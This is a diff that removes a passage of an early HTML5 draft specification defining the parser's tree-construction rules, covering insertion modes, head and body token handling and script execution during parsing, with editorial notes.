-   <li>If <var title="">node</var> is a <code>frameset</code> element, then
-    switch the <a href="#insertion0">insertion mode</a> to "<a
-    href="#in-frameset" title="insertion mode: in frameset">in frameset</a>"
-    and abort these steps. (<a href="#innerhtml1"><code>innerHTML</code>
-    case</a>)
-
-   <li>If <var title="">node</var> is an <code><a
-    href="#html0">html</a></code> element, then: if the <a
-    href="#head-element"><code title="">head</code> element pointer</a> is
-    null, switch the <a href="#insertion0">insertion mode</a> to "<a
-    href="#before2" title="insertion mode: before head">before head</a>",
-    otherwise, switch the <a href="#insertion0">insertion mode</a> to "<a
-    href="#after1" title="insertion mode: after head">after head</a>". In
-    either case, abort these steps. (<a
-    href="#innerhtml1"><code>innerHTML</code> case</a>)</li>
-   <!-- XXX can the head element pointer ever be
-   non-null when we're going through these steps? -->
-
-   <li>If <var title="">last</var> is true, then set the <a
-    href="#insertion0">insertion mode</a> to "<a href="#in-body"
-    title="insertion mode: in body">in body</a>" and abort these steps. (<a
-    href="#innerhtml1"><code>innerHTML</code> case</a>)
-
-   <li>Let <var title="">node</var> now be the node before <var
-    title="">node</var> in the <a href="#stack">stack of open elements</a>.
-
-   <li>Return to step 3.
-  </ol>
-  <!--When you don't have to handle innerHTML, you can use this
-simplified explanation instead:
-
-  <ol>
-
-   <li><p>If the <span>stack of open elements</span> <span title="has
-   an element in table scope">has a <code>td</code> or <code>th</code>
-   element in table scope</span>, then switch the <span>insertion
-   mode</span> to "<span title="insertion mode: in cell">in
-   cell</span>".</p></li>
-
-   <li><p>Otherwise, if the <span>stack of open elements</span> <span
-   title="has an element in table scope">has a <code>tr</code> element
-   in table scope</span>, then switch the <span>insertion mode</span>
-   to "<span title="insertion mode: in row">in row</span>".</p></li>
-
-   <li><p>Otherwise, if the <span>stack of open elements</span> <span
-   title="has an element in table scope">has a <code>tbody</code>,
-   <code>tfoot</code>, or <code>thead</code> element in table
-   scope</span>, then switch the <span>insertion mode</span> to "<span
-   title="insertion mode: in table body">in table
-   body</span>".</p></li>
-
-   <li><p>Otherwise, if the <span>stack of open elements</span> <span
-   title="has an element in table scope">has a <code>caption</code>
-   element in table scope</span>, then switch the <span>insertion
-   mode</span> to "<span title="insertion mode: in caption">in
-   caption</span>".</p></li>
-
-   ( you can't reach this point with a colgroup element on the
-   stack )
-
-   <li><p>Otherwise, if the <span>stack of open elements</span> <span
-   title="has an element in table scope">has a <code>table</code>
-   element in table scope</span>, then switch the <span>insertion
-   mode</span> to "<span title="insertion mode: in table">in
-   table</span>".</p></li>
-
-   <li><p>Otherwise, switch the <span>insertion mode</span> to "<span
-   title="insertion mode: in body">in body</span>".</p></li>
-
-  </ol>
--->
-
-  <h6 id=how-to0><span class=secno>8.2.4.3.7. </span>How to handle tokens in
-   the main phase</h6>
-
-  <p>Tokens in the main phase must be handled as follows:
-
-  <dl class=switch>
-   <dt>A DOCTYPE token
-
-   <dd>
-    <p><a href="#parse">Parse error</a>. Ignore the token.</p>
-
-   <dt>A start tag token with the tag name "html"
-
-   <dd>
-    <p>If this start tag token was not the first start tag token, then it is
-     a <a href="#parse">parse error</a>.</p>
-
-    <p>For each attribute on the token, check to see if the attribute is
-     already present on the top element of the <a href="#stack">stack of open
-     elements</a>. If it is not, add the attribute and its corresponding
-     value to that element.</p>
-
-   <dt>An end-of-file token
-
-   <dd>
-    <p><a href="#generate">Generate implied end tags.</a></p>
-
-    <p>If there's more than one node on the <a href="#stack">stack of open
-     elements</a>, or, if the parser was <em>not</em> originally created in
-     order to handle the setting of an element's <code
-     title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code>
-     attribute (<a href="#innerhtml1"><code>innerHTML</code> case</a>) and
-     the second node on the <a href="#stack">stack of open elements</a> is
-     not a <code><a href="#body1">body</a></code> node, this is a <a
-     href="#parse">parse error</a>.</p>
-
-    <p><a href="#stop-">Stop parsing.</a></p>
-
-    <p class=big-issue>This fails because it doesn't imply HEAD and BODY
-     tags. We should probably expand out the insertion modes and merge them
-     with phases and then put the three things here into each insertion mode
-     instead of trying to factor them out so carefully.</p>
-
-   <dt>Anything else
-
-   <dd>
-    <p>Depends on the <a href="#insertion0">insertion mode</a>:</p>
-
-    <dl class=switch>
-     <dt>If the <a href="#insertion0">insertion mode</a> is "<dfn id=before2
-      title="insertion mode: before head">before head</dfn>"
-
-     <dd>
-      <p>Handle the token as follows:</p>
-
-      <dl class=switch>
-       <dt>A character token that is one of one of U+0009 CHARACTER
-        TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C
-        FORM FEED (FF), or U+0020 SPACE
-
-       <dd>
-        <p><a href="#append" title="append a character">Append the
-         character</a> to the <a href="#current3">current node</a>.</p>
-
-       <dt>A comment token
-
-       <dd>
-        <p>Append a <code>Comment</code> node to the <a
-         href="#current3">current node</a> with the <code
-         title="">data</code> attribute set to the data given in the comment
-         token.</p>
-
-       <dt>A start tag token with the tag name "head"
-
-       <dd>
-        <p><a href="#create">Create an element for the token</a>.</p>
-
-        <p>Set the <a href="#head-element"><code title="">head</code> element
-         pointer</a> to this new element node.</p>
-
-        <p>Append the new element to the <a href="#current3">current node</a>
-         and push it onto the <a href="#stack">stack of open elements</a>.</p>
-
-        <p>Change the <a href="#insertion0">insertion mode</a> to "<a
-         href="#in-head" title="insertion mode: in head">in head</a>".</p>
-
-       <dt>A start tag token whose tag name is one of: "base", "link",
-        "meta", "script", "style", "title"
-
-       <dd>
-        <p>Act as if a start tag token with the tag name "head" and no
-         attributes had been seen, then reprocess the current token.</p>
-
-        <p class=note>This will result in a <code><a
-         href="#head0">head</a></code> element being generated, and with the
-         current token being reprocessed in the "<a href="#in-head"
-         title="insertion mode: in head">in head</a>" <a
-         href="#insertion0">insertion mode</a>.</p>
-
-       <dt>An end tag with the tag name "html"
-
-       <dd>
-        <p>Act as if a start tag token with the tag name "head" and no
-         attributes had been seen, then reprocess the current token.</p>
-
-       <dt>Any other end tag
-
-       <dd>
-        <p><a href="#parse">Parse error</a>. Ignore the token.</p>
-
-       <dt>A character token that is <em>not</em> one of U+0009 CHARACTER
-        TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C
-        FORM FEED (FF), or U+0020 SPACE
-
-       <dt>Any other start tag token
-
-       <dd>
-        <p>Act as if a start tag token with the tag name "head" and no
-         attributes had been seen, then reprocess the current token.</p>
-
-        <p class=note>This will result in an empty <code><a
-         href="#head0">head</a></code> element being generated, with the
-         current token being reprocessed in the "<a href="#after1"
-         title="insertion mode: after head">after head</a>" <a
-         href="#insertion0">insertion mode</a>.</p>
-      </dl>
-
-     <dt id=parsing-main-inhead>If the <a href="#insertion0">insertion
-      mode</a> is "<dfn id=in-head title="insertion mode: in head">in
-      head</dfn>"
-
-     <dd>
-      <p>Handle the token as follows.</p>
-
-      <p class=note>The rules for handling "title", "style", and "script"
-       start tags are similar, but not identical.</p>
-
-      <p class=note>It is possible for the <a href="#tree-construction1">tree
-       construction</a> stage's <a href="#the-main1" title="the main
-       phase">main phase</a> to be in the "<a href="#in-head"
-       title="insertion mode: in head">in head</a>" <a
-       href="#insertion0">insertion mode</a> without the <a
-       href="#current3">current node</a> being a <code><a
-       href="#head0">head</a></code> element, e.g. if a <code><a
-       href="#head0">head</a></code> end tag is immediately followed by a
-       <code><a href="#meta1">meta</a></code> start tag.</p>
-
-      <dl class=switch>
-       <dt>A character token that is one of one of U+0009 CHARACTER
-        TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C
-        FORM FEED (FF), or U+0020 SPACE
-
-       <dd>
-        <p><a href="#append" title="append a character">Append the
-         character</a> to the <a href="#current3">current node</a>.</p>
-
-       <dt>A comment token
-
-       <dd>
-        <p>Append a <code>Comment</code> node to the <a
-         href="#current3">current node</a> with the <code
-         title="">data</code> attribute set to the data given in the comment
-         token.</p>
-
-       <dt>A start tag with the tag name "title"
-
-       <dd>
-        <p><a href="#create">Create an element for the token</a>.</p>
-
-        <p>Append the new element to the node pointed to by the <a
-         href="#head-element"><code title="">head</code> element pointer</a>,
-         or, if that is null (<a href="#innerhtml1"><code>innerHTML</code>
-         case</a>), to the <a href="#current3">current node</a>.</p>
-
-        <p>Switch the tokeniser's <a href="#content2">content model flag</a>
-         to the RCDATA state.</p>
-
-        <p>Then, collect all the character tokens that the tokeniser returns
-         until it returns a token that is not a character token.</p>
-
-        <p>If this process resulted in a collection of character tokens,
-         append a single <code>Text</code> node to the <code><a
-         href="#title3">title</a></code> element node whose contents is the
-         concatenation of all those tokens' characters.</p>
-
-        <p>The tokeniser's <a href="#content2">content model flag</a> will
-         have switched back to the PCDATA state.</p>
-
-        <p>If the next token is an end tag token with the tag name "title",
-         ignore it. Otherwise, this is a <a href="#parse">parse error</a>.</p>
-
-       <dt>A start tag with the tag name "style"
-
-       <dd>
-        <p><a href="#create">Create an element for the token</a>.</p>
-
-        <p>Append the new element to the node pointed to by the <a
-         href="#head-element"><code title="">head</code> element pointer</a>,
-         or, if that is null (<a href="#innerhtml1"><code>innerHTML</code>
-         case</a>), to the <a href="#current3">current node</a>.</p>
-
-        <p>Switch the tokeniser's <a href="#content2">content model flag</a>
-         to the CDATA state.</p>
-
-        <p>Then, collect all the character tokens that the tokeniser returns
-         until it returns a token that is not a character token, or until it
-         stops tokenising.</p>
-
-        <p>If this process resulted in a collection of character tokens,
-         append a single <code>Text</code> node to the <code><a
-         href="#style0">style</a></code> element node whose contents is the
-         concatenation of all those tokens' characters.</p>
-
-        <p>The tokeniser's <a href="#content2">content model flag</a> will
-         have switched back to the PCDATA state.</p>
-
-        <p>If the next token is an end tag token with the tag name "style",
-         ignore it. Otherwise, this is a <a href="#parse">parse error</a>.</p>
-
-       <dt id=scriptTag>A start tag with the tag name "script"
-
-       <dd>
-        <p><a href="#create">Create an element for the token</a>.</p>
-
-        <p>Mark the element as being <a
-         href="#parser-inserted">"parser-inserted"</a>. This ensures that, if
-         the script is external, any <code title=dom-document-write-HTML><a
-         href="#document.write0">document.write()</a></code> calls in the
-         script will execute in-line, instead of blowing the document away,
-         as would happen in most other cases.</p>
-
-        <p>Switch the tokeniser's <a href="#content2">content model flag</a>
-         to the CDATA state.</p>
-
-        <p>Then, collect all the character tokens that the tokeniser returns
-         until it returns a token that is not a character token, or until it
-         stops tokenising.</p>
-
-        <p>If this process resulted in a collection of character tokens,
-         append a single <code>Text</code> node to the <code><a
-         href="#script2">script</a></code> element node whose contents is the
-         concatenation of all those tokens' characters.</p>
-
-        <p>The tokeniser's <a href="#content2">content model flag</a> will
-         have switched back to the PCDATA state.</p>
-
-        <p>If the next token is not an end tag token with the tag name
-         "script", then this is a <a href="#parse">parse error</a>; mark the
-         <code><a href="#script2">script</a></code> element as <a
-         href="#already">"already executed"</a>. Otherwise, the token is the
-         <code><a href="#script2">script</a></code> element's end tag, so
-         ignore it.</p>
-
-        <p>If the parser was originally created in order to handle the
-         setting of a node's <code title=dom-innerHTML-HTML><a
-         href="#innerhtml0">innerHTML</a></code> attribute, then mark the
-         <code><a href="#script2">script</a></code> element as <a
-         href="#already">"already executed"</a>, and skip the rest of the
-         processing described for this token (including the part below where
-         "<a href="#the-script" title="the script that will execute as soon
-         as the parser resumes">scripts that will execute as soon as the
-         parser resumes</a>" are executed). (<a
-         href="#innerhtml1"><code>innerHTML</code> case</a>)</p>
-
-        <p class=note>Marking the <code><a href="#script2">script</a></code>
-         element as "already executed" prevents it from executing when it is
-         inserted into the document a few paragraphs below. Scripts missing
-         their end tags and scripts that were inserted using <code
-         title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code>
-         aren't executed.</p>
-
-        <p>Let the <var title="">old insertion point</var> have the same
-         value as the current <a href="#insertion">insertion point</a>. Let
-         the <a href="#insertion">insertion point</a> be just before the <a
-         href="#next-input">next input character</a>.</p>
-
-        <p>Append the new element to the <a href="#current3">current
-         node</a>, unless the <a href="#insertion0">insertion mode</a> is "<a
-         href="#in-head" title="insertion mode: in head">in head</a>" and the
-         <a href="#head-element"><code title="">head</code> element
-         pointer</a> is not null, in which case append it to the node pointed
-         to by the <a href="#head-element"><code title="">head</code> element
-         pointer</a>. <!--
-        <head></head><script><body> should put the script in the head,
-        and does so by switching back to in head, but the head isn't
-        the current node at that point (comments should go between the
-        head and the body) -->
-         <a href="#when-a" title="running a script">Special processing occurs
-         when a <code>script</code> element is inserted into a document</a>
-         that might cause some script to execute, which might cause <a
-         href="#document.write0" title=dom-document-write-HTML>new characters
-         to be inserted into the tokeniser</a>.</p>
-
-        <p>Let the <a href="#insertion">insertion point</a> have the value of
-         the <var title="">old insertion point</var>. (In other words,
-         restore the <a href="#insertion">insertion point</a> to the value it
-         had before the previous paragraph. This value might be the
-         "undefined" value.)</p>
-
-        <p id=scriptTagParserResumes>At this stage, if there is <a
-         href="#the-script" title="the script that will execute as soon as
-         the parser resumes">a script that will execute as soon as the parser
-         resumes</a>, then:</p>
-
-        <dl class=switch>
-         <dt>If the tree construction stage is <a href="#nestedParsing">being
-          called reentrantly</a>, say from a call to <code
-          title=dom-document-write-HTML><a
-          href="#document.write0">document.write()</a></code>:
-
-         <dd>
-          <p>Abort the processing of any nested invokations of the tokeniser,
-           yielding control back to the caller. (Tokenisation will resume
-           when the caller returns to the "outer" tree construction stage.)
-
-         <dt>Otherwise:
-
-         <dd>
-          <p>Follow these steps:</p>
-
-          <ol>
-           <li>
-            <p>Let <var title="">the script</var> be <a
-             href="#the-script">the script that will execute as soon as the
-             parser resumes</a>. There is no longer <a href="#the-script"
-             title="the script that will execute as soon as the parser
-             resumes">a script that will execute as soon as the parser
-             resumes</a>.
-
-           <li>
-            <p><a href="#pause">Pause</a> until the script has
-             <span>completed loading</span><!-- XXX xref -->.
-
-           <li>
-            <p>Let the <a href="#insertion">insertion point</a> be just
-             before the <a href="#next-input">next input character</a>.
-
-           <li>
-            <p><a href="#executing" title="executing a script block">Execute
-             the script</a>.
-
-           <li>
-            <p>Let the <a href="#insertion">insertion point</a> be undefined
-             again.
-
-           <li>
-            <p>If there is once again <a href="#the-script" title="the script
-             that will execute as soon as the parser resumes">a script that
-             will execute as soon as the parser resumes</a>, then repeat
-             these steps from step 1.
-          </ol>
-        </dl>
-
-       <dt>A start tag with the tag name "base", "link", or "meta"
-
-       <dd>
-        <p><a href="#create">Create an element for the token</a>.</p>
-
-        <p>Append the new element to the node pointed to by the <a
-         href="#head-element"><code title="">head</code> element pointer</a>,
-         or, if that is null (<a href="#innerhtml1"><code>innerHTML</code>
-         case</a>), to the <a href="#current3">current node</a>.</p>
-
-        <p class=big-issue>Need to cope with second and subsequent <code><a
-         href="#base0">base</a></code> elements affecting subsequent elements
-         magically.</p>
-
-       <dt>An end tag with the tag name "head"
-
-       <dd>
-        <p>If the <a href="#current3">current node</a> is a <code><a
-         href="#head0">head</a></code> element, pop the <a
-         href="#current3">current node</a> off the <a href="#stack">stack of
-         open elements</a>. Otherwise, this is a <a href="#parse">parse
-         error</a>.</p>
-        <!-- might happen if you see two </head>s
-        and something in between the two sends you from "after head"
-        back to "in head" -->
-        
-        <p>Change the <a href="#insertion0">insertion mode</a> to "<a
-         href="#after1" title="insertion mode: after head">after head</a>".</p>
-
-       <dt>An end tag with the tag name "html"
-
-       <dd>
-        <p>Act as described in the "anything else" entry below.</p>
-
-       <dt>A start tag with the tag name "head"
-
-       <dt>Any other end tag
-
-       <dd>
-        <p><a href="#parse">Parse error</a>. Ignore the token.</p>
-
-       <dt>Anything else
-
-       <dd>
-        <p>If the <a href="#current3">current node</a> is a <code><a
-         href="#head0">head</a></code> element, act as if an end tag token
-         with the tag name "head" had been seen.</p>
-
-        <p>Otherwise, change the <a href="#insertion0">insertion mode</a> to
-         "<a href="#after1" title="insertion mode: after head">after
-         head</a>".</p>
-
-        <p>Then, reprocess the current token.</p>
-
-        <p class=big-issue>In certain UAs, <a
-         href="https://bugzilla.mozilla.org/attachment.cgi?id=180157AMPERSANDamp;action=view">some
-         elements</a> don't trigger the "in body" mode straight away, but
-         instead get put into the head. Do we want to copy that?</p>
-      </dl>
-
-     <dt>If the <a href="#insertion0">insertion mode</a> is "<dfn id=after1
-      title="insertion mode: after head">after head</dfn>"
-
-     <dd>
-      <p>Handle the token as follows:</p>
-
-      <dl class=switch>
-       <dt>A character token that is one of one of U+0009 CHARACTER
-        TABULATION, U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C
-        FORM FEED (FF), or U+0020 SPACE
-
-       <dd>
-        <p><a href="#append" title="append a character">Append the
-         character</a> to the <a href="#current3">current node</a>.</p>
-
-       <dt>A comment token
-
-       <dd>
-        <p>Append a <code>Comment</code> node to the <a
-         href="#current3">current node</a> with the <code
-         title="">data</code> attribute set to the data given in the comment
-         token.</p>
-
-       <dt>A start tag token with the tag name "body"
-
-       <dd>
-        <p><a href="#insert" title="insert an HTML element">Insert a
-         <code>body</code> element</a> for the token.</p>
-
-        <p>Change the <a href="#insertion0">insertion mode</a> to "<a
-         href="#in-body" title="insertion mode: in body">in body</a>".</p>
-
-       <dt>A start tag token with the tag name "frameset"
-
-       <dd>
-        <p><a href="#insert" title="insert an HTML element">Insert a
-         <code>frameset</code> element</a> for the token.</p>
-
-        <p>Change the <a href="#insertion0">insertion mode</a> to "<a
-         href="#in-frameset" title="insertion mode: in frameset">in
-         frameset</a>".</p>
-
-       <dt>A start tag token whose tag name is one of: "base", "link",
-        "meta", "script", "style", "title"
-
-       <dd>
-        <p><a href="#parse">Parse error</a>. Switch the <a
-         href="#insertion0">insertion mode</a> back to "<a href="#in-head"
-         title="insertion mode: in head">in head</a>" and reprocess the
-         token.</p>
-
-       <dt>Anything else
-
-       <dd>
-        <p>Act as if a start tag token with the tag name "body" and no
-         attributes had been seen, and then reprocess the current token.</p>
-      </dl>
-
-     <dt id=parsing-main-inbody>If the <a href="#insertion0">insertion
-      mode</a> is "<dfn id=in-body title="insertion mode: in body">in
-      body</dfn>"
-
-     <dd>
-      <p>Handle the token as follows:</p>
-
-      <dl class=switch>
-       <dt>A character token
-
-       <dd>
-        <p><a href="#reconstruct">Reconstruct the active formatting
-         elements</a>, if any.</p>
-
-        <p><a href="#append" title="append a character">Append the token's
-         character</a> to the <a href="#current3">current node</a>.</p>
-
-       <dt>A comment token
-
-       <dd>
-        <p>Append a <code>Comment</code> node to the <a
-         href="#current3">current node</a> with the <code
-         title="">data</code> attribute set to the data given in the comment
-         token.</p>
-
-       <dt>A start tag token whose tag name is "script"
-
-       <dd>
-        <p>Process the token as if the <a href="#insertion0">insertion
-         mode</a> had been "<a href="#in-head" title="insertion mode: in
-         head">in head</a>".</p>
-
-       <dt>A start tag token whose tag name is one of: "base", "link",
-        "meta", "style", "title"
-
-       <dd>
-        <p><a href="#parse">Parse error</a>. Process the token as if the <a
-         href="#insertion0">insertion mode</a> had been "<a href="#in-head"
-         title="insertion mode: in head">in head</a>".</p>
-
-       <dt>A start tag token with the tag name "body"
-
-       <dd>
-        <p><a href="#parse">Parse error</a>.</p>
-
-        <p>If the second element on the <a href="#stack">stack of open
-         elements</a> is not a <code><a href="#body1">body</a></code>
-         element, or, if the <a href="#stack">stack of open elements</a> has
-         only one node on it, then ignore the token. (<a
-         href="#innerhtml1"><code>innerHTML</code> case</a>)</p>
-
-        <p>Otherwise, for each attribute on the token, check to see if the
-         attribute is already present on the <code><a
-         href="#body1">body</a></code> element (the second element) on the <a
-         href="#stack">stack of open elements</a>. If it is not, add the
-         attribute and its corresponding value to that element.</p>
-
-       <dt>An end tag with the tag name "body"
-
-       <dd>
-        <p>If the second element in the <a href="#stack">stack of open
-         elements</a> is not a <code><a href="#body1">body</a></code>
-         element, this is a <a href="#parse">parse error</a>. Ignore the
-         token. (<a href="#innerhtml1"><code>innerHTML</code> case</a>)</p>
-
-        <p>Otherwise:</p>
-
-        <p>If the <a href="#current3">current node</a> is not the <code><a
-         href="#body1">body</a></code> element, then this is a <a
-         href="#parse">parse error</a>.</p>
-
-        <p>Change the <a href="#insertion0">insertion mode</a> to "<a
-         href="#after2" title="insertion mode: after body">after body</a>".</p>
-
-       <dt>An end tag with the tag name "html"
-
-       <dd>
-        <p>Act as if an end tag with tag name "body" had been seen, then, if
-         that token wasn't ignored, reprocess the current token.</p>
-
-        <p class=note>The fake end tag token here can only be ignored in the
-         <a href="#innerhtml1"><code>innerHTML</code> case</a>.</p>
-
-       <dt>A start tag whose tag name is one of: "address", "blockquote",
-        "center", "dir", "div", "dl", "fieldset", "listing", "menu", "ol",
-        "p", "pre", "ul"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> <a
-         href="#have-an" title="has an element in scope">has a <code>p</code>
-         element in scope</a>, then act as if an end tag with the tag name
-         <code><a href="#p0">p</a></code> had been seen.</p>
-
-        <p><a href="#insert" title="insert an html element">Insert an HTML
-         element</a> for the token.</p>
-
-       <dt>A start tag whose tag name is "form"
-
-       <dd>
-        <p>If the <a href="#form-element"><code title=form>form</code>
-         element pointer</a> is not null, ignore the token with a <a
-         href="#parse">parse error</a>.</p>
-
-        <p>Otherwise:</p>
-
-        <p>If the <a href="#stack">stack of open elements</a> <a
-         href="#have-an" title="has an element in scope">has a <code>p</code>
-         element in scope</a>, then act as if an end tag with the tag name
-         <code><a href="#p0">p</a></code> had been seen.</p>
-
-        <p><a href="#insert" title="insert an html Element">Insert an HTML
-         element</a> for the token, and set the <code title=form>form</code>
-         element pointer to point to the element created.</p>
-
-       <dt>A start tag whose tag name is "li"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> <a
-         href="#have-an" title="has an element in scope">has a <code>p</code>
-         element in scope</a>, then act as if an end tag with the tag name
-         <code><a href="#p0">p</a></code> had been seen.</p>
-
-        <p>Run the following algorithm:</p>
-
-        <ol>
-         <li>
-          <p>Initialise <var title="">node</var> to be the <a
-           href="#current3">current node</a> (the bottommost node of the
-           stack).
-
-         <li>
-          <p>If <var title="">node</var> is an <code><a
-           href="#li0">li</a></code> element, then pop all the nodes from the
-           <a href="#current3">current node</a> up to <var
-           title="">node</var>, including <var title="">node</var>, then stop
-           this algorithm.
-
-         <li>
-          <p>If <var title="">node</var> is not in the <a
-           href="#formatting">formatting</a> category, and is not in the <a
-           href="#phrasing">phrasing</a> category, and is not an <code><a
-           href="#address0">address</a></code> or <code><a
-           href="#div0">div</a></code> element, then stop this algorithm.
-         </li>
-         <!-- an element <foo> is in this
-         list if the following markup:
-
-             <!DOCTYPE html><body><ol><li><foo><li>
-
-         ...results in the second <li> not being (in any way) a
-         descendant of the first <li>, or if <foo> is a formatting
-         element that gets reopened later. -->
-
-         <li>
-          <p>Otherwise, set <var title="">node</var> to the previous entry in
-           the <a href="#stack">stack of open elements</a> and return to step
-           2.
-        </ol>
-
-        <p>Finally, <a href="#insert" title="insert an html element">insert
-         an <code>li</code> element</a>.</p>
-
-       <dt>A start tag whose tag name is "dd" or "dt"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> <a
-         href="#have-an" title="has an element in scope">has a <code>p</code>
-         element in scope</a>, then act as if an end tag with the tag name
-         <code><a href="#p0">p</a></code> had been seen.</p>
-
-        <p>Run the following algorithm:</p>
-
-        <ol>
-         <li>
-          <p>Initialise <var title="">node</var> to be the <a
-           href="#current3">current node</a> (the bottommost node of the
-           stack).
-
-         <li>
-          <p>If <var title="">node</var> is a <code><a
-           href="#dd0">dd</a></code> or <code><a href="#dt0">dt</a></code>
-           element, then pop all the nodes from the <a
-           href="#current3">current node</a> up to <var title="">node</var>,
-           including <var title="">node</var>, then stop this algorithm.
-
-         <li>
-          <p>If <var title="">node</var> is not in the <a
-           href="#formatting">formatting</a> category, and is not in the <a
-           href="#phrasing">phrasing</a> category, and is not an <code><a
-           href="#address0">address</a></code> or <code><a
-           href="#div0">div</a></code> element, then stop this algorithm.
-         </li>
-         <!-- an element <foo> is in this
-         list if the following markup:
-
-             <!DOCTYPE html><body><ol><dt><foo><dt>
-
-         ...results in the second <li> not being (in any way) a
-         descendant of the first <li>, or if <foo> is a formatting
-         element that gets reopened later. -->
-
-         <li>
-          <p>Otherwise, set <var title="">node</var> to the previous entry in
-           the <a href="#stack">stack of open elements</a> and return to step
-           2.
-        </ol>
-
-        <p>Finally, <a href="#insert" title="insert an html element">insert
-         an HTML element</a> with the same tag name as the token's.</p>
-
-       <dt>A start tag token whose tag name is "plaintext"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> <a
-         href="#have-an" title="has an element in scope">has a <code>p</code>
-         element in scope</a>, then act as if an end tag with the tag name
-         <code><a href="#p0">p</a></code> had been seen.</p>
-
-        <p><a href="#insert" title="insert an html element">Insert an HTML
-         element</a> for the token.</p>
-
-        <p>Switch the <a href="#content2">content model flag</a> to the
-         PLAINTEXT state.</p>
-
-        <p class=note>Once a start tag with the tag name "plaintext" has been
-         seen, that will be the last token ever seen other than character
-         tokens (and the end-of-file token), because there is no way to
-         switch the <a href="#content2">content model flag</a> out of the
-         PLAINTEXT state.</p>
-
-       <dt>An end tag whose tag name is one of: "address", "blockquote",
-        "center", "dir", "div", "dl", "fieldset", "listing", "menu", "ol",
-        "pre", "ul"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> <a
-         href="#have-an">has an element in scope</a> with the same tag name
-         as that of the token, then <a href="#generate">generate implied end
-         tags</a>.</p>
-
-        <p>Now, if the <a href="#current3">current node</a> is not an element
-         with the same tag name as that of the token, then this is a <a
-         href="#parse">parse error</a>.</p>
-
-        <p>If the <a href="#stack">stack of open elements</a> <a
-         href="#have-an">has an element in scope</a> with the same tag name
-         as that of the token, then pop elements from this stack until an
-         element with that tag name has been popped from the stack.</p>
-        <!-- XXX quirk (except for in certain cases?):
-        <p>Otherwise, act as if a start tag with the tag name given in
-        the token had been seen, then reprocess the current token.</p>
-        -->
-        
-
-       <dt>An end tag whose tag name is "form"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> <a
-         href="#have-an">has an element in scope</a> with the same tag name
-         as that of the token, then <a href="#generate">generate implied end
-         tags</a>.</p>
-
-        <p>Now, if the <a href="#current3">current node</a> is not an element
-         with the same tag name as that of the token, then this is a <a
-         href="#parse">parse error</a>.</p>
-
-        <p>If the <a href="#stack">stack of open elements</a> <a
-         href="#have-an">has an element in scope</a> with the same tag name
-         as that of the token, then pop elements from this stack until an
-         element with that tag name has been popped from the stack.</p>
-
-        <p>In any case, set the <a href="#form-element"><code
-         title="">form</code> element pointer</a> to null.</p>
-
-       <dt>An end tag whose tag name is "p"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> <a
-         href="#have-an" title="has an element in scope">has a <code>p</code>
-         element in scope</a>, then <a href="#generate">generate implied end
-         tags</a>, except for <code><a href="#p0">p</a></code> elements.</p>
-
-        <p>If the <a href="#current3">current node</a> is not a <code><a
-         href="#p0">p</a></code> element, then this is a <a
-         href="#parse">parse error</a>.</p>
-
-        <p>If the <a href="#stack">stack of open elements</a> <a
-         href="#have-an" title="has an element in scope">has a <code>p</code>
-         element in scope</a>, then pop elements from this stack until the
-         stack no longer <a href="#have-an" title="has an element in
-         scope">has a <code>p</code> element in scope</a>.</p>
-        <!-- XXX quirk:
-        <p>Otherwise, act as if a start tag with the tag name
-        <code>p</code> had been seen, then reprocess the current
-        token.</p>
-        -->
-        
-
-       <dt>An end tag whose tag name is "dd", "dt", or "li"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> <a
-         href="#have-an">has an element in scope</a> whose tag name matches
-         the tag name of the token, then <a href="#generate">generate implied
-         end tags</a>, except for elements with the same tag name as the
-         token.</p>
-
-        <p>If the <a href="#current3">current node</a> is not an element with
-         the same tag name as the token, then this is a <a
-         href="#parse">parse error</a>.</p>
-
-        <p>If the <a href="#stack">stack of open elements</a> <a
-         href="#have-an">has an element in scope</a> whose tag name matches
-         the tag name of the token, then pop elements from this stack until
-         an element with that tag name has been popped from the stack.</p>
-
-       <dt>A start tag whose tag name is one of: "h1", "h2", "h3", "h4",
-        "h5", "h6"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> <a
-         href="#have-an" title="has an element in scope">has a <code>p</code>
-         element in scope</a>, then act as if an end tag with the tag name
-         <code><a href="#p0">p</a></code> had been seen.</p>
-
-        <p>If the <a href="#stack">stack of open elements</a> <a
-         href="#have-an" title="has an element in scope">has in scope</a> an
-         element whose tag name is one of "h1", "h2", "h3", "h4", "h5", or
-         "h6", then this is a <a href="#parse">parse error</a>; pop elements
-         from the stack until an element with one of those tag names has been
-         popped from the stack.</p>
-
-        <p><a href="#insert" title="insert an html element">Insert an HTML
-         element</a> for the token.</p>
-
-       <dt>An end tag whose tag name is one of: "h1", "h2", "h3", "h4", "h5",
-        "h6"
-
-       <dd>
-        <p>If the <a href="#stack">stack of open elements</a> <a
-         href="#have-an" title="has an element in scope">has in scope</a> an
-         element whose tag name is one of "h1", "h2", "h3", "h4", "h5", or
-         "h6", then <a href="#generate">generate implied end tags</a>.</p>
-
-        <p>Now, if the <a href="#current3">current node</a> is not an element
-         with the same tag name as that of the token, then this is a <a
-         href="#parse">parse error</a>.</p>
-
-        <p>If the <a href="#stack">stack of open elements</a> <a
-         href="#have-an" title="has an element in scope">has in scope</a> an
-         element whose tag name is one of "h1", "h2", "h3", "h4", "h5", or
-         "h6", then pop elements from the stack until an element with one of
-         those tag names has been popped from the stack.</p>
-        <!-- XXX quirk:
-        <p>Otherwise, act as if a start tag with the tag name given in
-        the token had been seen, then reprocess the current token.</p>
-        -->
-        </dd>
-       <!-- ADOPTION AGENCY ELEMENTS
-            Mozilla-only: bdo blink del ins sub sup q
-            Safari-only: code dfn kbd nobr samp var wbr
-            Both: a b big em font i s small strike strong tt u -->
-
-       <dt>A start tag whose tag name is "a"
-
-       <dd>
